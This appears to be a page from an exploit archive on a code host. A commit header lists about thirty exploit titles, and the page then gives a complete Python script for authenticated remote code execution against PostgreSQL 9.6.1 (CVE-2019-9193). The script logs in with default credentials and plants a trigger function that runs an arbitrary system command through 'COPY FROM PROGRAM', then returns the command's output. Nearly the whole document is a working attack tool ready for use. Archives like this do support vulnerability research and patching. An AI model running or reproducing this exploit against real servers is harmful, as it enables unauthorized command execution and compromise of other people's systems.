d46ab98863
32 changes to exploits/shellcodes/ghdb Answerdev 1.0.3 - Account Takeover D-Link DIR-846 - Remote Command Execution (RCE) vulnerability Dell EMC Networking PC5500 firmware versions 4.1.0.22 and Cisco Sx / SMB - Information Disclosure SOUND4 LinkAndShare Transmitter 1.1.2 - Format String Stack Buffer Overflow ERPNext 12.29 - Cross-Site Scripting (XSS) Liferay Portal 6.2.5 - Insecure Permissions GNU screen v4.9.0 - Privilege Escalation Apache Tomcat 10.1 - Denial Of Service PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated) BTCPay Server v1.7.4 - HTML Injection. Provide Server v.14.4 XSS - CSRF & Remote Code Execution (RCE) Secure Web Gateway 10.2.11 - Cross-Site Scripting (XSS) ImageMagick 7.1.0-49 - DoS bgERP v22.31 (Orlovets) - Cookie Session vulnerability & Cross-Site Scripting (XSS) Bus Pass Management System 1.0 - Stored Cross-Site Scripting (XSS) Calendar Event Multi View 1.4.07 - Unauthenticated Arbitrary Event Creation to Cross-Site Scripting (XSS) CKEditor 5 35.4.0 - Cross-Site Scripting (XSS) Control Web Panel 7 (CWP7) v0.9.8.1147 - Remote Code Execution (RCE) Froxlor 2.0.3 Stable - Remote Code Execution (RCE) ImageMagick 7.1.0-49 - Arbitrary File Read itech TrainSmart r1044 - SQL injection Online Eyewear Shop 1.0 - SQL Injection (Unauthenticated) PhotoShow 3.0 - Remote Code Execution projectSend r1605 - Remote Code Exectution RCE Responsive FileManager 9.9.5 - Remote Code Execution (RCE) zstore 6.6.0 - Cross-Site Scripting (XSS) Binwalk v2.3.2 - Remote Command Execution (RCE) XWorm Trojan 2.1 - Null Pointer Derefernce DoS Kardex Mlog MCC 5.7.12 - RCE (Remote Code Execution) Linux/x86_64 - bash Shellcode with xor encoding
104 lines
No EOL
3.1 KiB
Python
Executable file
104 lines
No EOL
3.1 KiB
Python
Executable file
# Exploit Title: PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated)
|
||
# Date: 2023-02-01
|
||
# Exploit Author: Paulo Trindade (@paulotrindadec), Bruno Stabelini (@Bruno Stabelini), Diego Farias (@fulcrum) and Weslley Shaimon
|
||
# Github: https://github.com/paulotrindadec/CVE-2019-9193
|
||
# Version: PostgreSQL 9.6.1 on x86_64-pc-linux-gnu
|
||
# Tested on: Red Hat Enterprise Linux Server 7.9
|
||
# CVE: CVE-2019–9193
|
||
|
||
#!/usr/bin/python3
|
||
|
||
import sys
|
||
import psycopg2
|
||
import argparse
|
||
|
||
|
||
def parseArgs():
|
||
parser = argparse.ArgumentParser(description='PostgreSQL 9.6.1 Authenticated Remote Code Execution')
|
||
parser.add_argument('-i', '--ip', nargs='?', type=str, default='127.0.0.1', help='The IP address of the PostgreSQL DB [Default: 127.0.0.1]')
|
||
parser.add_argument('-p', '--port', nargs='?', type=int, default=5432, help='The port of the PostgreSQL DB [Default: 5432]')
|
||
parser.add_argument('-U', '--user', nargs='?', default='postgres', help='Username to connect to the PostgreSQL DB [Default: postgres]')
|
||
parser.add_argument('-P', '--password', nargs='?', default='postgres', help='Password to connect to the the PostgreSQL DB [Default: postgres]')
|
||
parser.add_argument('-c', '--command', nargs='?', help='System command to run')
|
||
args = parser.parse_args()
|
||
return args
|
||
|
||
def main():
|
||
try:
|
||
|
||
# Variables
|
||
RHOST = args.ip
|
||
RPORT = args.port
|
||
USER = args.user
|
||
PASS = args.password
|
||
|
||
print(f"\r\n[+] Connect to PostgreSQL - {RHOST}")
|
||
con = psycopg2.connect(host=RHOST, port=RPORT, user=USER, password=PASS)
|
||
|
||
if (args.command):
|
||
exploit(con)
|
||
else:
|
||
print ("[!] Add argument -c [COMMAND] to execute system commands")
|
||
|
||
except psycopg2.OperationalError as e:
|
||
print("Error")
|
||
print ("\r\n[-] Failed to connect with PostgreSQL")
|
||
exit()
|
||
|
||
def exploit(con):
|
||
cur = con.cursor()
|
||
|
||
CMD = args.command
|
||
|
||
try:
|
||
print('[*] Running\n')
|
||
cur.execute("DROP TABLE IF EXISTS triggeroffsec;")
|
||
cur.execute("DROP FUNCTION triggeroffsecexeccmd() cascade;")
|
||
cur.execute("DROP TABLE IF EXISTS triggeroffsecsource;")
|
||
cur.execute("DROP TRIGGER IF EXISTS shoottriggeroffsecexeccmd on triggeroffsecsource;")
|
||
|
||
cur.execute("CREATE TABLE triggeroffsec (id serial PRIMARY KEY, cmdout text);")
|
||
|
||
cur.execute("""CREATE OR REPLACE FUNCTION triggeroffsecexeccmd()
|
||
RETURNS TRIGGER
|
||
LANGUAGE plpgsql
|
||
AS $BODY$
|
||
BEGIN
|
||
COPY triggeroffsec (cmdout) FROM PROGRAM %s;
|
||
RETURN NULL;
|
||
END;
|
||
$BODY$;
|
||
""",[CMD,]
|
||
)
|
||
|
||
cur.execute("CREATE TABLE triggeroffsecsource(s_id integer PRIMARY KEY);")
|
||
|
||
cur.execute("""CREATE TRIGGER shoottriggeroffsecexeccmd
|
||
AFTER INSERT
|
||
ON triggeroffsecsource
|
||
FOR EACH STATEMENT
|
||
EXECUTE PROCEDURE triggeroffsecexeccmd();
|
||
""")
|
||
|
||
cur.execute("INSERT INTO triggeroffsecsource VALUES (2);")
|
||
|
||
cur.execute("TABLE triggeroffsec;")
|
||
|
||
con.commit()
|
||
|
||
returncmd = cur.fetchall()
|
||
for result in returncmd:
|
||
print(result)
|
||
|
||
except (Exception, psycopg2.DatabaseError) as error:
|
||
print(error)
|
||
|
||
|
||
finally:
|
||
if con is not None:
|
||
con.close()
|
||
#print("Closed connection")
|
||
|
||
if __name__ == "__main__":
|
||
args = parseArgs()
|
||
main() |